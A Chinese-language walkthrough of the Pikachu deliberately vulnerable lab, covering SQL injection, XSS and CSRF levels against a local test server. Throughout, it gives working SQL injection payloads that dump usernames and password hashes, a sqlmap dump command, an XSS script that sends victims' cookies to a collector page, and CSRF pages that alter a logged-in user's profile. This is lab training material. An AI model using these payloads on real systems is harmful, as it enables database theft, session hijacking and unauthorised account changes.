提示:仅供进行学习使用,请勿做出非法的行为。如若由任何违法行为,将依据法律法规进行严惩!!!
在完成基础学习后,现在开始正式的打pikachu的靶场。由于目前,主要只学习了sql注入、xss,因此,对于pikachu靶场的攻略仅有sql注入、xss以及csrf的部分。
百度网盘资源:链接:https://pan.baidu.com/s/1fPlkacJ76oiJnr3DEmgn1g
提取码:1zzd
–来自百度网盘超级会员V4的分享
github资源:https://github.com/zhuifengshaonianhanlu/pikachu
我的环境: MySQL5.7.26 、php 5.4.45 nts
下载完成后先解压到对应的网站目录(一般在www文件夹下,这个需要自己找到自己对应的目录)
解压后的目录文件如下:
在浏览器中输入对应的网址(我的是http://192.168.10.129:8080/pikachu/)打开后可以看见首页上方有一个红字,让我们点击进行初始化:
点击后可以看到如下页面:
然后进入到inc目录文件下的config.inc.php中,在大约第十一行那里(即输入mysql密码那一行)中输入自己设置的mysql的root用户的密码:
保存后,再进如刚刚那个网页页面,点击初始化:
这时就可以安装完成了:
打开这一关后,可以看到这里是让我们进行选择一个id进行查询,且由于题目所述,基本判断了这里的post型是需要我们抓包进行注入的。于是,启动burp suit (没有的可以去我的burp 2022里下载安装)
打开burp 进行监听,然后再pikachu页面随意选择一个id进行提交:
然后burp就已经抓取到包了:
在上图的空白处右击,点击send to repeater后,进入repeater选项卡中:
开始注入:
1. 判断注入点:
在id=1这里,我们首先判断是否可以注入,输入:(+在burp中会被认为是空格)
id=1+and+1=1+
id=1+and+1=2+
分别输入上述两个payload,点击发送,查看1=1时是否正常,1=2时是否报错:
从这可以看出,确实存在注入点。
2.判断列的数量:
id=1+order+by+2+
id=1+order+by+3+
id=1+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()+
id=1+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='users'+
id=-1+union+select+group_concat(username),group_concat(password)+from+users+
这里只是简要介绍一下怎么使用,具体详细的payload可以参考burp中的:
首先,点击load加载url ,然后点击enable post那个按钮,使得我们可以添加一些内容(如body、host等等)到数据请求包里。
而后如果有enctype这个按钮的话,一定要选择application/x-www-form-urlencoded (raw) 这一个选项。
最后在body框中输入我们需要的注入按钮!注意:需要模仿前面burp抓到的包里的写法,将id submit 等等都写进去:
id=-1+union+select+group_concat(username),group_concat(password)+from+users+&submit=1
密码解密:
这里,我们就拿到密码,这密码显然是md5加密了,那么我们拿去撞库看看:
cmd-好用的md5解密
然后就看到admin密码是:123456
这里get型,那么我可以用burp 抓包也可以直接在url上进行操作。
这里为了有更多手段,我就在url上进行操作了,读者可以自行去burp中尝试,payload都是差不多的!!
这里有个地方要注意一下,一开始我使用的注释符是#,然后不管尝试什么闭合回路都失败了… 然后,我试着将#这个注释符进行了修改,使用了–+结果就成了! 所以这里提醒以下大家,看看自己使用的#这个符号是否也会将submit的内容注释掉,我这边实验的时候在数据包里是会注释掉的!
sqli_str.php?name=1'+or+1=1+--+&submit=1
sqli_str.php?name=1'+or+sleep(1000)+--+&submit=1
这里由于是查询,因此使用or 1=1 能够使得不管查什么最后都可以让数据全部曝出来,为方便理解让我们看看源代码:
当我们输入上述的语句后,源代码处执行的sql语句如下:
select id,email from member where username='1' or 1=1 -- '
这里,or的优先级较高,因此会判断username=‘1’ or 1=1这两个有一个为真则整个语句就为真,因此上述的执行语句变为了:
select id,email from member where 1
这里我在给出一个使用xpath报错注入的payload:
sqli_str.php?name=1'+or+updatexml(1,concat(0x3a,(select+group_concat(username)+from+users),0x3a),1)+--+&submit=1
(可在xpath的sql语句的select中自行更改,以获取想要的数据)
其余的就自己尝试了。只需将第一关的数字那里添上’ 即可,其他的payload都差不多。
这一关,当我们输入:
sqli_search.php?name=kobe'+or+1=1+--+
就已经发现所有结果都出来了,说明闭合回路确实是’ ’
但是这里要注意的是,列的数量为3了!!!
以下给出部分联合注入的payload:
sqli_search.php?name=kobe'+union+select+1,database(),user()+--+
这里再给个floor的报错注入:(具体原理请参照本人的sql-libs靶场的Less5)
sqli_search.php?name=kobe'+union+select+1,count(*),concat(0x7c,(select+group_concat(username)+from+users+),0x7c,floor(rand()*2))a+from+information_schema.columns+group+by+a+--+&submit=%E6%90%9C%E7%B4%A2
(可在floor的sql语句的select中自行更改,以获取想要的数据)
其余的就自己尝试了。
按照注入的思路,我们首先来进行判断闭合回路:
1'+or+1=1+--+ ==>失败
1')+or+1=1+--+ ==>成功
因此,确认闭合回路为(’ ‘) ,那么接下来就在id=-1之后加上’)即可。
以下,给一个延时注入的payload例子,其余的可参照前文数字型的sql注入过程:
1')+or+if(ascii(substr(database(),1,1))=112,sleep(5),0)+--+
database()=pikachu , p的ascill码为112。
这一关,由于已经是insert与update的注入,因此要想使用联合查询是不太可行的。
这里进行一下分析:因为如果是insert/uodate这种类型的话,那么后端的语句应该为:
insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}
由于union是联合查询,仅仅只针对于select语句的,因此这里是无法使用联合查询,只能用and 与 or来构造报错注入或者延时注入等等。
首先,点击注册,然后我们试一下试着使用一下二次注入看看:
再用户名或者密码处输入:
admin_test'--+
此时,发现页面回显错误信息了:
结合着上面的源代码中的sql语句,可以看出,这里如果使用二次注入(即’#)这种方法的话是不太行的,因为admin_test’#根本就无法存入到数据库中。(#把后面的都注释了,语句没办法执行)
那么,只能试试看报错注入了!
payload:
admin_test' or updatexml(1,concat(0x7c,(select database()),0x7c),1) or '
这里最后的 or ‘是为了闭合源语句中的’ ,也就是说源语句的username处变成了下面这种形式:
insert into member(username,pw,sex,phonenum,email,address) values('admin_test' or updatexml(1,concat(0x7c,(select database()),0x7c),1) or '', 其他....
执行后的页面如图所示:
读者可在concat中的select语句进行任意的构造,以便获得自己想要的内容。这里不再赘述。
这里已经说了是delete注入,那么我们首先写入一个注入语句到输入框里,然后点击删除看一下:
emmmm。。。。发现没啥用。
经查证,这是因为我们在留言板输入的东西,会被数据库当成一个文本类型的数据存入,而后再利用一个主键进行对每一个留言进行标识与管理。因此,我们在留言板写入的内容是无法添加到delete语句中的,如下图的两个源代码可以印证:
那么如果在页面无法注入的话,我们试试看抓包有没有奇效。。。。
开启burp,点击删除按钮,就可以发现数据包里有一个很神奇的地方:
再这个删除的数据包里有这个id的选项,当然我们从上面的源代码中已经可以看出,这里便是注入点了,(如果没看源代码也可以试一下,很快就可以试出来的)
接下来让我们详细的注入一下看看:
?id=75+or+updatexml(1,concat(0x7c,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0
这题还是很有意思的,嘿嘿嘿。
这里啊,我们先随便找个账号登录看看:
这里,我们就看到了许多的信息在这里面,这些信息就是http头部里面的:
那好,我们利用来看看:
首先,输入一个对应的账户与密码(实战中,可以是自己创建的普通用户),然后就会首先看到有一个post请求包:
这里也是有对应的host、cookie、agent等等。我们把包发送到repeater当中,点击发送后,发现页面呈现如下:
这时,就有个问题,为什么输入了正确的账号密码,回显的页面还是这一个而不是前面的登录后的信息呢? 这里就与get包与post包有关系了。我简要的说明一下:
get请求一般是去取获取数据(其实也可以提交,但常见的是获取数据);
post请求一般是去提交数据。
因此,我们这里的post包很明显是为了提交数据的,而我们想要获得刚才的登录后的数据信息,则可能是从后面的get包请求到的。为了验证这一设想,我将刚才的post包放行,然后看看是否是还有一个get包:
这里,就发现确实有个get包了。那么,估计页面回显的那些数据就是从这个包里获得的,然后照旧把它送到repeater里进行实验:
测试注入点:
在User-Agent处添加上一个’ ,看看是否是此处有注入:
确认完毕,页面报错,确实存在注入点。同理,在Accept以及cookie的username处也存在注入点。
payload:
User-Agent:' or updatexml(1,concat(0x7c,user(),0x7c),3) or '1'='1
Accept: ' or updatexml(1,concat(0x7c,user(),0x7c),3) or '1'='1
Cookie: ant[uname]=admin' or updatexml(1,concat(0x7c,user(),0x7c),3) or '1'='1 ; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=973jkfs31qq71rr7oh6urdham5
其余的直接进行对应的修改即可,在上述的三个位置的任何一处都可以!
手工payload:
sqli_blind_b.php?name=kobe' and substr(database(),1,1)='p' --+&submit=%E6%9F%A5%E8%AF%A2
SQLmap
python3 sqlmap.py -u "http://192.168.10.129:8080/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dump
这里如果要一个个试的话,那是相当的麻烦。我们利用脚本跑一下看看:
可以看出,这里sqlmap甚至直接帮我们把md5加密的密码都破解了,相当的好用!!
手工:
sqli_blind_t.php?name=kobe' and if(substr(database(),1,1)='p',sleep(10),0)--+&submit=%E6%9F%A5%E8%AF%A2
想要查其他数据的话,只需在database处替换其他的sql语句即可!!
当然,如果想要查询多字符也是可以的:
sqli_blind_t.php?name=kobe' and if(substr(database(),1,2)='pi',sleep(10),0)--+&submit=%E6%9F%A5%E8%AF%A2
只需修改substr的参数即可!
直接利用%df将转义字符\吃掉即可。(具体的原理参照本人的另一篇博客注入基础学习)
具体的payload:
name=1%df' union select database(),user() --+&submit=%E6%9F%A5%E8%AF%A
其他的数据,自己尝试一下sql语句,不会的可以借鉴本文的数字型注入部分有详细的过程,或者去sql-lib的前5关也有很详细的具体教程!
至此,pikachu的sql靶场全部打通!!!感谢大家。
这里由于xss特殊性,pikachu靶场仍然需要我们安装一下后台。首先需要点击左下角这个
然后在服务器的这个路径下配置该文件:
然后更改上你的mysql密码即可:
然后,我们就可以利用这个管理平台进行xss管理了!!!!
以下呢,我们将使用pikachu自带的xss shell箱子进行测试!!!
首先,查看一下cookie.php这个文件:
这里使用了header进行简化页面重定向,以防止很容易被看出来我们进行了XSS的注入!
发现这里传递的参数就是使用的cookie来进行传递的,那么我们接下来就可以来使用看看:
http://192.168.10.129:8080/pikachu/vul/xss/xss_reflected_get.php?message=&submit=submit
id为2与id为3的这两条是使用src进行访问的,但是从结果可以看出并没有获取到对应的cookie值。(具体原因还在排查)
但是我们使用:
<script>document.location='http://192.168.10.129:8080/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
此时,返回回来的值就是id=1那一条了,从那可以看出确实是读取到了我们的cookie值。
一开始呢还以为是可以直接在username与pasword上进行的。然后进行百般尝试发现不太行。。。。
而后,我就登录(username:admin password:123456)了一下看看,然后页面就出现了之前get这一关的画面,然后我们尝试将之前的语句注入一下:
<script>document.location='http://192.168.10.129:8080/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
发现这个页面确实弹回了一些信息,包含了用户名、密码、cookie等等。想来这一关的目的就算为了让我们能够知道,当页面登录了相应的账户后,窃取其cookie是可以直接利用该凭据直接登录的!!
注意!!这里有一个大坑,就是我们利用burpsuite抓包该参数值的时候:
假设我们抓到包后,按照上述语句原封不动的给参数,结果就会出现如下图所示:
会发现页面没有进行跳转!(在cookie.php中我们可是设置了跳转的) 就说明貌似没有执行成功,我们可以看看管理平台那里,确实是没有返回对应的值的:
但是,若我们将输入的参数改成如下模样,则会发现执行成功:
经过我的分析,其实原因就在于一点!!!英文burpsuite中,会把+号默认当成一个空格,因此如果我们直接写上之前的语句就会被burpsuite当成空格处理,致使语句构造错误!!因此我们只需将+号进行编码即可:
注意一下蛤,这里如果直接用上面的脚本语句的化,会因为cookie.php中书写的跳转语句导致无法我们一点开本关卡会自动跳转至另一个页面的,因此这里我们稍微换一下脚本语句:
<script>alert(document.cookie)</script>
由于存储型的威力,这个页面只要一访问就会有弹窗!
由于dom型是不经过服务器端的,是属于在前端html dom节点上的xss漏洞。因此,我们可以直接简单的就从前端页面进行判断:
比如,当我们输入一些字符串时,可以看见浏览器并未发送任何的数据包:
数据包前后没有变化!!!
除此之外我们还可以查看前端的源代码:
发现确实有dom节点。
通过阅读源代码可知,当我们输入某值并点击按钮后,就会触发dom节点。 该dom节点会展开script里面的脚本,弹出”what do you see"这个超链接来。因此,我们可以做出如下的xss payload:
' οnclick="alert('xss')">
此时,带入那一句话就成为了’ " ’ οnclick= " alert ( ’ xss ’ ) "> " '>what do you see?
此时页面的herf = " ,但是a标签里又多了一个onclick的属性。而超链接的名字就变为了’>what do you see?
这里,让我们来看看该页面的数据包的发送过程吧!!
首先打开该页面:
输入一个字符,点击按钮:
发现似乎传输了,那么我们再点击能够超链接看看:
发现这里,并未有任何的传输,但是依旧又出现了一个超链接,那么这里我们就可以判断,dom型的xss应在此处。且,第一个页面传输的哪些字符也会随着传递过去!
那么我们继续输入:
' οnclick="alert('xss')">
完成!!
首先,我们进行登录: kobe 123456
点击下面的修改信息,然后进行修改并提交,看看url的变化:
可以看出这里,已经在url上出现地址了。此时,我们就可以利用这个来进行构造恶意链接。比如,下面我们将利用这个恶意链接更改一下对方的信息。
我们首先建立如下的html页面:
echo "傻狗,被我偷家了吧!!!"
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<p>
"傻狗,被我偷家了吧!!!"
</p>
<script src="http://192.168.10.129:8080/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=111&add=1111&email=111&submit=submit"></script>
</body>
在此之前,我们先看一下我们当前的用户信息:
然后,我们进行访问这个恶意的页面(但是这边我们最好要保存这pikachu靶场的这个用户的登录状态):
good 已经成功了!
post由于其数据是封装在post数据包里的。因此,我们在构造页面时候,需要构造出一个提交数据的表单,再诱使用户来此进行点击!!! 至于如何构造呢???? 这里我们可以使用万能的burpsuit进行。
首先,将数据包先抓取下来,如何点击右键,按下图方式进行选取:
然后,就可以如下图所示的html代码,我们只需让用户点击此构造的页面即可:
至此,已经完成了!!
这一关,主要使用到了token值进行防止一般的csrf攻击。由于每一次服务器都会发送一个随机数(token)给客户端,因此我们很难直接进行攻击的。 就比如说,假设我们一开始抓包,然后利用burp构造出一个页面:
但是,当我们进行访问这个页面后,发现数据其实是并没有更改的!!! 这就是以为token值不一样了的原因。
因此,我们要想成功利用,就必须获取到服务器端发给客户端的token值。
便出人意料的发现了一个token值,这里的值,由于当前页面还未进行提交,因此,该值呢可以就可以进行利用了:
emmm
好吧,最后发现这里,每次一打开这个页面就要产生新的token值,目前,我是没想到这么绕过的。欢迎大佬指出!!
以上便是我对于pikachu靶场的思路,如果有错欢迎指出,大家一起交流与学习!!!